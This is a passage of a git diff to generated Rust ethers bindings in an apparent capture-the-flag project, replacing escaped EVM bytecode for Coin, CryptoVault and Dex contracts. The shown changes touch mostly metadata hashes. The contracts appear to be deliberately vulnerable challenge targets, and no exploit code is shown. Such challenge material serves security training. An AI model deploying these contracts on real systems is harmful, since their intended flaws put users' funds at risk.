\x93\x90\x93\x015\x93PPPV[cNH{q`\xE0\x1B`\0R`\x11`\x04R`$`\0\xFD[\x81\x81\x03\x81\x81\x11\x15a\x02\x12Wa\x02\x12a\x01\xE9V[\x92\x91PPV[\x80\x82\x01\x80\x82\x11\x15a\x02\x12Wa\x02\x12a\x01\xE9V\xFE\xA2dipfsX\"\x12 \xE9\x9BH\xFA\x8B\x14 \xC6\xFC\xD3Y(\xDC\xFEws\x86\x11\x9C\x1B\r\x84\xE6\xB6C\x89\xEF\x08_\x92(bdsolcC\0\x08\x15\x003"; /// The deployed bytecode of the contract. pub static COIN_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static(__DEPLOYED_BYTECODE); diff --git a/ctf/src/abi/crypto_vault.rs b/ctf/src/abi/crypto_vault.rs index cbdc81b..9f7c7a2 100644 --- a/ctf/src/abi/crypto_vault.rs +++ b/ctf/src/abi/crypto_vault.rs @@ -119,12 +119,12 @@ pub mod crypto_vault { ::ethers::core::abi::Abi, > = ::ethers::contract::Lazy::new(__abi); #[rustfmt::skip] - const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`@Qa\x03\xB18\x03\x80a\x03\xB1\x839\x81\x01`@\x81\x90Ra\0/\x91a\0TV[`\0\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x92\x90\x92\x16\x91\x90\x91\x17\x90Ua\0\x84V[`\0` \x82\x84\x03\x12\x15a\0fW`\0\x80\xFD[\x81Q`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\0}W`\0\x80\xFD[\x93\x92PPPV[a\x03\x1E\x80a\0\x93`\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0LW`\x005`\xE0\x1C\x80c\x1B\xE1\x95`\x14a\0QW\x80c24\xA1\x97\x14a\0fW\x80co0}\xC3\x14a\0\x95W\x80c\xBD\xB22\x1F\x14a\0\xA8W[`\0\x80\xFD[a\0da\0_6`\x04a\x02\x89V[a\0\xBBV[\0[`\0Ta\0y\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01`@Q\x80\x91\x03\x90\xF3[`\x01Ta\0y\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[a\0da\0\xB66`\x04a\x02\x89V[a\x02\x08V[`\x01T`\x01`\x01`\xA0\x1B\x03\x90\x81\x16\x90\x82\x16\x03a\x01\x1EW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x1F`$\x82\x01R\x7FCan't transfer underlying token\0`D\x82\x01R`d\x01[`@Q\x80\x91\x03\x90\xFD[`\0T`@Qcp\xA0\x821`\xE0\x1B\x81R0`\x04\x82\x01R`\x01`\x01`\xA0\x1B\x03\x83\x81\x16\x92c\xA9\x05\x9C\xBB\x92\x91\x16\x90\x83\x90cp\xA0\x821\x90`$\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\x01qW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x01\x95\x91\x90a\x02\xADV[`@Q`\x01`\x01`\xE0\x1B\x03\x19`\xE0\x85\x90\x1B\x16\x81R`\x01`\x01`\xA0\x1B\x03\x90\x92\x16`\x04\x83\x01R`$\x82\x01R`D\x01` `@Q\x80\x83\x03\x81`\0\x87Z\xF1\x15\x80\x15a\x01\xE0W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x02\x04\x91\x90a\x02\xC6V[PPV[`\x01T`\x01`\x01`\xA0\x1B\x03\x16\x15a\x02OW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x0B`$\x82\x01Rj\x10[\x1C\x99XY\x1EH\x1C\xD9]`\xAA\x1B`D\x82\x01R`d\x01a\x01\x15V[`\x01\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x92\x90\x92\x16\x91\x90\x91\x17\x90UV[`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\x02\x86W`\0\x80\xFD[PV[`\0` \x82\x84\x03\x12\x15a\x02\x9BW`\0\x80\xFD[\x815a\x02\xA6\x81a\x02qV[\x93\x92PPPV[`\0` \x82\x84\x03\x12\x15a\x02\xBFW`\0\x80\xFD[PQ\x91\x90PV[`\0` \x82\x84\x03\x12\x15a\x02\xD8W`\0\x80\xFD[\x81Q\x80\x15\x15\x81\x14a\x02\xA6W`\0\x80\xFD\xFE\xA2dipfsX\"\x12 \xF3\xF8\xC1\xF7\x19\xD4\xA1\x80\x8F\x04\x8A\xC6\xD0\x0B\xE2e(x+\xD3\xE8\x91\x9E*$S[e{\x0C\xFC\x18dsolcC\0\x08\x15\x003"; + const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`@Qa\x03\xB18\x03\x80a\x03\xB1\x839\x81\x01`@\x81\x90Ra\0/\x91a\0TV[`\0\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x92\x90\x92\x16\x91\x90\x91\x17\x90Ua\0\x84V[`\0` \x82\x84\x03\x12\x15a\0fW`\0\x80\xFD[\x81Q`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\0}W`\0\x80\xFD[\x93\x92PPPV[a\x03\x1E\x80a\0\x93`\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0LW`\x005`\xE0\x1C\x80c\x1B\xE1\x95`\x14a\0QW\x80c24\xA1\x97\x14a\0fW\x80co0}\xC3\x14a\0\x95W\x80c\xBD\xB22\x1F\x14a\0\xA8W[`\0\x80\xFD[a\0da\0_6`\x04a\x02\x89V[a\0\xBBV[\0[`\0Ta\0y\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01`@Q\x80\x91\x03\x90\xF3[`\x01Ta\0y\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[a\0da\0\xB66`\x04a\x02\x89V[a\x02\x08V[`\x01T`\x01`\x01`\xA0\x1B\x03\x90\x81\x16\x90\x82\x16\x03a\x01\x1EW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x1F`$\x82\x01R\x7FCan't transfer underlying token\0`D\x82\x01R`d\x01[`@Q\x80\x91\x03\x90\xFD[`\0T`@Qcp\xA0\x821`\xE0\x1B\x81R0`\x04\x82\x01R`\x01`\x01`\xA0\x1B\x03\x83\x81\x16\x92c\xA9\x05\x9C\xBB\x92\x91\x16\x90\x83\x90cp\xA0\x821\x90`$\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\x01qW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x01\x95\x91\x90a\x02\xADV[`@Q`\x01`\x01`\xE0\x1B\x03\x19`\xE0\x85\x90\x1B\x16\x81R`\x01`\x01`\xA0\x1B\x03\x90\x92\x16`\x04\x83\x01R`$\x82\x01R`D\x01` `@Q\x80\x83\x03\x81`\0\x87Z\xF1\x15\x80\x15a\x01\xE0W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x02\x04\x91\x90a\x02\xC6V[PPV[`\x01T`\x01`\x01`\xA0\x1B\x03\x16\x15a\x02OW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x0B`$\x82\x01Rj\x10[\x1C\x99XY\x1EH\x1C\xD9]`\xAA\x1B`D\x82\x01R`d\x01a\x01\x15V[`\x01\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x92\x90\x92\x16\x91\x90\x91\x17\x90UV[`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\x02\x86W`\0\x80\xFD[PV[`\0` \x82\x84\x03\x12\x15a\x02\x9BW`\0\x80\xFD[\x815a\x02\xA6\x81a\x02qV[\x93\x92PPPV[`\0` \x82\x84\x03\x12\x15a\x02\xBFW`\0\x80\xFD[PQ\x91\x90PV[`\0` \x82\x84\x03\x12\x15a\x02\xD8W`\0\x80\xFD[\x81Q\x80\x15\x15\x81\x14a\x02\xA6W`\0\x80\xFD\xFE\xA2dipfsX\"\x12 \xEF\xC5j\x1CY\xCAWOi\xEBc|N\xC5\xFC\xC5V\xD7\xAE\x07\x84\x13\xDE\x117\x8D\xC2\x87TeDVdsolcC\0\x08\x15\x003"; /// The bytecode of the contract. pub static CRYPTOVAULT_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static(__BYTECODE); #[rustfmt::skip] - const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0LW`\x005`\xE0\x1C\x80c\x1B\xE1\x95`\x14a\0QW\x80c24\xA1\x97\x14a\0fW\x80co0}\xC3\x14a\0\x95W\x80c\xBD\xB22\x1F\x14a\0\xA8W[`\0\x80\xFD[a\0da\0_6`\x04a\x02\x89V[a\0\xBBV[\0[`\0Ta\0y\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01`@Q\x80\x91\x03\x90\xF3[`\x01Ta\0y\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[a\0da\0\xB66`\x04a\x02\x89V[a\x02\x08V[`\x01T`\x01`\x01`\xA0\x1B\x03\x90\x81\x16\x90\x82\x16\x03a\x01\x1EW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x1F`$\x82\x01R\x7FCan't transfer underlying token\0`D\x82\x01R`d\x01[`@Q\x80\x91\x03\x90\xFD[`\0T`@Qcp\xA0\x821`\xE0\x1B\x81R0`\x04\x82\x01R`\x01`\x01`\xA0\x1B\x03\x83\x81\x16\x92c\xA9\x05\x9C\xBB\x92\x91\x16\x90\x83\x90cp\xA0\x821\x90`$\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\x01qW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x01\x95\x91\x90a\x02\xADV[`@Q`\x01`\x01`\xE0\x1B\x03\x19`\xE0\x85\x90\x1B\x16\x81R`\x01`\x01`\xA0\x1B\x03\x90\x92\x16`\x04\x83\x01R`$\x82\x01R`D\x01` `@Q\x80\x83\x03\x81`\0\x87Z\xF1\x15\x80\x15a\x01\xE0W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x02\x04\x91\x90a\x02\xC6V[PPV[`\x01T`\x01`\x01`\xA0\x1B\x03\x16\x15a\x02OW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x0B`$\x82\x01Rj\x10[\x1C\x99XY\x1EH\x1C\xD9]`\xAA\x1B`D\x82\x01R`d\x01a\x01\x15V[`\x01\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x92\x90\x92\x16\x91\x90\x91\x17\x90UV[`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\x02\x86W`\0\x80\xFD[PV[`\0` \x82\x84\x03\x12\x15a\x02\x9BW`\0\x80\xFD[\x815a\x02\xA6\x81a\x02qV[\x93\x92PPPV[`\0` \x82\x84\x03\x12\x15a\x02\xBFW`\0\x80\xFD[PQ\x91\x90PV[`\0` \x82\x84\x03\x12\x15a\x02\xD8W`\0\x80\xFD[\x81Q\x80\x15\x15\x81\x14a\x02\xA6W`\0\x80\xFD\xFE\xA2dipfsX\"\x12 \xF3\xF8\xC1\xF7\x19\xD4\xA1\x80\x8F\x04\x8A\xC6\xD0\x0B\xE2e(x+\xD3\xE8\x91\x9E*$S[e{\x0C\xFC\x18dsolcC\0\x08\x15\x003"; + const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0LW`\x005`\xE0\x1C\x80c\x1B\xE1\x95`\x14a\0QW\x80c24\xA1\x97\x14a\0fW\x80co0}\xC3\x14a\0\x95W\x80c\xBD\xB22\x1F\x14a\0\xA8W[`\0\x80\xFD[a\0da\0_6`\x04a\x02\x89V[a\0\xBBV[\0[`\0Ta\0y\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01`@Q\x80\x91\x03\x90\xF3[`\x01Ta\0y\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[a\0da\0\xB66`\x04a\x02\x89V[a\x02\x08V[`\x01T`\x01`\x01`\xA0\x1B\x03\x90\x81\x16\x90\x82\x16\x03a\x01\x1EW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x1F`$\x82\x01R\x7FCan't transfer underlying token\0`D\x82\x01R`d\x01[`@Q\x80\x91\x03\x90\xFD[`\0T`@Qcp\xA0\x821`\xE0\x1B\x81R0`\x04\x82\x01R`\x01`\x01`\xA0\x1B\x03\x83\x81\x16\x92c\xA9\x05\x9C\xBB\x92\x91\x16\x90\x83\x90cp\xA0\x821\x90`$\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\x01qW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x01\x95\x91\x90a\x02\xADV[`@Q`\x01`\x01`\xE0\x1B\x03\x19`\xE0\x85\x90\x1B\x16\x81R`\x01`\x01`\xA0\x1B\x03\x90\x92\x16`\x04\x83\x01R`$\x82\x01R`D\x01` `@Q\x80\x83\x03\x81`\0\x87Z\xF1\x15\x80\x15a\x01\xE0W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x02\x04\x91\x90a\x02\xC6V[PPV[`\x01T`\x01`\x01`\xA0\x1B\x03\x16\x15a\x02OW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x0B`$\x82\x01Rj\x10[\x1C\x99XY\x1EH\x1C\xD9]`\xAA\x1B`D\x82\x01R`d\x01a\x01\x15V[`\x01\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x92\x90\x92\x16\x91\x90\x91\x17\x90UV[`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\x02\x86W`\0\x80\xFD[PV[`\0` \x82\x84\x03\x12\x15a\x02\x9BW`\0\x80\xFD[\x815a\x02\xA6\x81a\x02qV[\x93\x92PPPV[`\0` \x82\x84\x03\x12\x15a\x02\xBFW`\0\x80\xFD[PQ\x91\x90PV[`\0` \x82\x84\x03\x12\x15a\x02\xD8W`\0\x80\xFD[\x81Q\x80\x15\x15\x81\x14a\x02\xA6W`\0\x80\xFD\xFE\xA2dipfsX\"\x12 \xEF\xC5j\x1CY\xCAWOi\xEBc|N\xC5\xFC\xC5V\xD7\xAE\x07\x84\x13\xDE\x117\x8D\xC2\x87TeDVdsolcC\0\x08\x15\x003"; /// The deployed bytecode of the contract. pub static CRYPTOVAULT_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static(__DEPLOYED_BYTECODE); diff --git a/ctf/src/abi/dex.rs b/ctf/src/abi/dex.rs index bf9861b..7219bfe 100644 --- a/ctf/src/abi/dex.rs +++ b/ctf/src/abi/dex.rs @@ -348,12 +348,12 @@ pub mod dex { pub static DEX_ABI: ::ethers::contract::Lazy<::ethers::core::abi::Abi> = ::ethers::contract::Lazy::new(__abi); #[rustfmt::skip] - const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[Pa\0\x1A3a\0\x1FV[a\0oV[`\0\x80T`\x01`\x01`\xA0\x1B\x03\x83\x81\x16`\x01`\x01`\xA0\x1B\x03\x19\x83\x16\x81\x17\x84U`@Q\x91\x90\x92\x16\x92\x83\x91\x7F\x8B\xE0\x07\x9CS\x16Y\x14\x13D\xCD\x1F\xD0\xA4\xF2\x84\x19I\x7F\x97\"\xA3\xDA\xAF\xE3\xB4\x18okdW\xE0\x91\x90\xA3PPV[a\n.\x80a\0~`\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0\xA9W`\x005`\xE0\x1C\x80c\xBF\xD7\xE0\r\x11a\0qW\x80c\xBF\xD7\xE0\r\x14a\x01\x1FW\x80c\xCB\xC7\x85N\x14a\x01@W\x80c\xD2\x12 \xA7\x14a\x01SW\x80c\xDFy\x1EP\x14a\x01fW\x80c\xF2\xFD\xE3\x8B\x14a\x01yW\x80c\xF7\x88\x8A\xEC\x14a\x01\x8CW`\0\x80\xFD[\x80c\t^\xA7\xB3\x14a\0\xAEW\x80c%\xBE\x12N\x14a\0\xC3W\x80cVh\x87\0\x14a\0\xF3W\x80cqP\x18\xA6\x14a\x01\x06W\x80c\x8D\xA5\xCB[\x14a\x01\x0EW[`\0\x80\xFD[a\0\xC1a\0\xBC6`\x04a\x08\x97V[a\x01\x9FV[\0[`\x02Ta\0\xD6\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[a\0\xC1a\x01\x016`\x04a\x08\x97V[a\x02oV[a\0\xC1a\x02\xEFV[`\0T`\x01`\x01`\xA0\x1B\x03\x16a\0\xD6V[a\x012a\x01-6`\x04a\x08\xC1V[a\x03\x03V[`@Q\x90\x81R` \x01a\0\xEAV[a\0\xC1a\x01N6`\x04a\x08\xFDV[a\x03\xF2V[`\x01Ta\0\xD6\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[a\0\xC1a\x01t6`\x04a\x08\xC1V[a\x04(V[a\0\xC1a\x01\x876`\x04a\t0V[a\x06\xE1V[a\x012a\x01\x9A6`\x04a\x08\xFDV[a\x07ZV[`\x01T`@Qc\xE1\xF2\x1Cg`\xE0\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x90c\xE1\xF2\x1Cg\x90a\x01\xD3\x903\x90\x86\x90\x86\x90`\x04\x01a\tKV[`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x01\xEDW`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x02\x01W=`\0\x80>=`\0\xFD[PP`\x02T`@Qc\xE1\xF2\x1Cg`\xE0\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x92Pc\xE1\xF2\x1Cg\x91Pa\x029\x903\x90\x86\x90\x86\x90`\x04\x01a\tKV[`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x02SW`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x02gW=`\0\x80>=`\0\xFD[PPPPPPV[a\x02wa\x07\xD1V[`@Qc#\xB8r\xDD`\xE0\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x83\x16\x90c#\xB8r\xDD\x90a\x02\xA7\x903\x900\x90\x86\x90`\x04\x01a\tKV[` `@Q\x80\x83\x03\x81`\0\x87Z\xF1\x15\x80\x15a\x02\xC6W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x02\xEA\x91\x90a\toV[PPPV[a\x02\xF7a\x07\xD1V[a\x03\x01`\0a\x08+V[V[`@Qcp\xA0\x821`\xE0\x1B\x81R0`\x04\x82\x01R`\0\x90`\x01`\x01`\xA0\x1B\x03\x85\x16\x90cp\xA0\x821\x90`$\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\x03JW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x03n\x91\x90a\t\x98V[`@Qcp\xA0\x821`\xE0\x1B\x81R0`\x04\x82\x01R`\x01`\x01`\xA0\x1B\x03\x85\x16\x90cp\xA0\x821\x90`$\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\x03\xB2W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x03\xD6\x91\x90a\t\x98V[a\x03\xE0\x90\x84a\t\xB1V[a\x03\xEA\x91\x90a\t\xD6V[\x94\x93PPPPV[a\x03\xFAa\x07\xD1V[`\x01\x80T`\x01`\x01`\xA0\x1B\x03\x93\x84\x16`\x01`\x01`\xA0\x1B\x03\x19\x91\x82\x16\x17\x90\x91U`\x02\x80T\x92\x90\x93\x16\x91\x16\x17\x90UV[`\x01T`\x01`\x01`\xA0\x1B\x03\x84\x81\x16\x91\x16\x14\x80\x15a\x04RWP`\x02T`\x01`\x01`\xA0\x1B\x03\x83\x81\x16\x91\x16\x14[\x80a\x04\x82WP`\x02T`\x01`\x01`\xA0\x1B\x03\x84\x81\x16\x91\x16\x14\x80\x15a\x04\x82WP`\x01T`\x01`\x01`\xA0\x1B\x03\x83\x81\x16\x91\x16\x14[a\x04\xC4W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x0E`$\x82\x01RmInvalid tokens`\x90\x1B`D\x82\x01R`d\x01[`@Q\x80\x91\x03\x90\xFD[`@Qcp\xA0\x821`\xE0\x1B\x81R3`\x04\x82\x01R\x81\x90`\x01`\x01`\xA0\x1B\x03\x85\x16\x90cp\xA0\x821\x90`$\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\x05\nW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x05.\x91\x90a\t\x98V[\x10\x15a\x05qW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x12`$\x82\x01Rq\x04\xE6\xF7B\x06V\xE6\xF7Vv\x82\x07F\xF2\x077v\x17`t\x1B`D\x82\x01R`d\x01a\x04\xBBV[`\0a\x05~\x84\x84\x84a\x03\x03V[`@Qc#\xB8r\xDD`\xE0\x1B\x81R\x90\x91P`\x01`\x01`\xA0\x1B\x03\x85\x16\x90c#\xB8r\xDD\x90a\x05\xB1\x903\x900\x90\x87\x90`\x04\x01a\tKV[` `@Q\x80\x83\x03\x81`\0\x87Z\xF1\x15\x80\x15a\x05\xD0W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x05\xF4\x91\x90a\toV[P`@Qc\t^\xA7\xB3`\xE0\x1B\x81R0`\x04\x82\x01R`$\x81\x01\x82\x90R`\x01`\x01`\xA0\x1B\x03\x84\x16\x90c\t^\xA7\xB3\x90`D\x01` `@Q\x80\x83\x03\x81`\0\x87Z\xF1\x15\x80\x15a\x06BW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x06f\x91\x90a\toV[P`@Qc#\xB8r\xDD`\xE0\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x84\x16\x90c#\xB8r\xDD\x90a\x06\x97\x900\x903\x90\x86\x90`\x04\x01a\tKV[` `@Q\x80\x83\x03\x81`\0\x87Z\xF1\x15\x80\x15a\x06\xB6W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x06\xDA\x91\x90a\toV[PPPPPV[a\x06\xE9a\x07\xD1V[`\x01`\x01`\xA0\x1B\x03\x81\x16a\x07NW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`&`$\x82\x01R\x7FOwnable: new owner is the zero a`D\x82\x01Reddress`\xD0\x1B`d\x82\x01R`\x84\x01a\x04\xBBV[a\x07W\x81a\x08+V[PV[`@Qcp\xA0\x821`\xE0\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x82\x81\x16`\x04\x83\x01R`\0\x91\x90\x84\x16\x90cp\xA0\x821\x90`$\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\x07\xA4W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x07\xC8\x91\x90a\t\x98V[\x90P[\x92\x91PPV[`\0T`\x01`\x01`\xA0\x1B\x03\x163\x14a\x03\x01W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01\x81\x90R`$\x82\x01R\x7FOwnable: caller is not the owner`D\x82\x01R`d\x01a\x04\xBBV[`\0\x80T`\x01`\x01`\xA0\x1B\x03\x83\x81\x16`\x01`\x01`\xA0\x1B\x03\x19\x83\x16\x81\x17\x84U`@Q\x91\x90\x92\x16\x92\x83\x91\x7F\x8B\xE0\x07\x9CS\x16Y\x14\x13D\xCD\x1F\xD0\xA4\xF2\x84\x19I\x7F\x97\"\xA3\xDA\xAF\xE3\xB4\x18okdW\xE0\x91\x90\xA3PPV[\x805`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\x08\x92W`\0\x80\xFD[\x91\x90PV[`\0\x80`@\x83\x85\x03\x12\x15a\x08\xAAW`\0\x80\xFD[a\x08\xB3\x83a\x08{V[\x94` \x93\x90\x93\x015\x93PPPV[`\0\x80`\0``\x84\x86\x03\x12\x15a\x08\xD6W`\0\x80\xFD[a\x08\xDF\x84a\x08{V[\x92Pa\x08\xED` \x85\x01a\x08{V[\x91P`@\x84\x015\x90P\x92P\x92P\x92V[`\0\x80`@\x83\x85\x03\x12\x15a\t\x10W`\0\x80\xFD[a\t\x19\x83a\x08{V[\x91Pa\t'` \x84\x01a\x08{V[\x90P\x92P\x92\x90PV[`\0` \x82\x84\x03\x12\x15a\tBW`\0\x80\xFD[a\x07\xC8\x82a\x08{V[`\x01`\x01`\xA0\x1B\x03\x93\x84\x16\x81R\x91\x90\x92\x16` \x82\x01R`@\x81\x01\x91\x90\x91R``\x01\x90V[`\0` \x82\x84\x03\x12\x15a\t\x81W`\0\x80\xFD[\x81Q\x80\x15\x15\x81\x14a\t\x91W`\0\x80\xFD[\x93\x92PPPV[`\0` \x82\x84\x03\x12\x15a\t\xAAW`\0\x80\xFD[PQ\x91\x90PV[\x80\x82\x02\x81\x15\x82\x82\x04\x84\x14\x17a\x07\xCBWcNH{q`\xE0\x1B`\0R`\x11`\x04R`$`\0\xFD[`\0\x82a\t\xF3WcNH{q`\xE0\x1B`\0R`\x12`\x04R`$`\0\xFD[P\x04\x90V\xFE\xA2dipfsX\"\x12 \x10c+\xAD\x99\xCF\xF7\xB5\xE0\x92\x07=\x0B\x1A\x0F\xE5\xCBN$\xE9\x16\x0CR\xE0\xC7\xEF\xC9*\xAAIZ\xBBdsolcC\0\x08\x15\x003"; + const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[Pa\0\x1A3a\0\x1FV[a\0oV[`\0\x80T`\x01`\x01`\xA0\x1B\x03\x83\x81\x16`\x01`\x01`\xA0\x1B\x03\x19\x83\x16\x81\x17\x84U`@Q\x91\x90\x92\x16\x92\x83\x91\x7F\x8B\xE0\x07\x9CS\x16Y\x14\x13D\xCD\x1F\xD0\xA4\xF2\x84\x19I\x7F\x97\"\xA3\xDA\xAF\xE3\xB4\x18okdW\xE0\x91\x90\xA3PPV[a\n.\x80a\0~`\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0\xA9W`\x005`\xE0\x1C\x80c\xBF\xD7\xE0\r\x11a\0qW\x80c\xBF\xD7\xE0\r\x14a\x01\x1FW\x80c\xCB\xC7\x85N\x14a\x01@W\x80c\xD2\x12 \xA7\x14a\x01SW\x80c\xDFy\x1EP\x14a\x01fW\x80c\xF2\xFD\xE3\x8B\x14a\x01yW\x80c\xF7\x88\x8A\xEC\x14a\x01\x8CW`\0\x80\xFD[\x80c\t^\xA7\xB3\x14a\0\xAEW\x80c%\xBE\x12N\x14a\0\xC3W\x80cVh\x87\0\x14a\0\xF3W\x80cqP\x18\xA6\x14a\x01\x06W\x80c\x8D\xA5\xCB[\x14a\x01\x0EW[`\0\x80\xFD[a\0\xC1a\0\xBC6`\x04a\x08\x97V[a\x01\x9FV[\0[`\x02Ta\0\xD6\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[a\0\xC1a\x01\x016`\x04a\x08\x97V[a\x02oV[a\0\xC1a\x02\xEFV[`\0T`\x01`\x01`\xA0\x1B\x03\x16a\0\xD6V[a\x012a\x01-6`\x04a\x08\xC1V[a\x03\x03V[`@Q\x90\x81R` 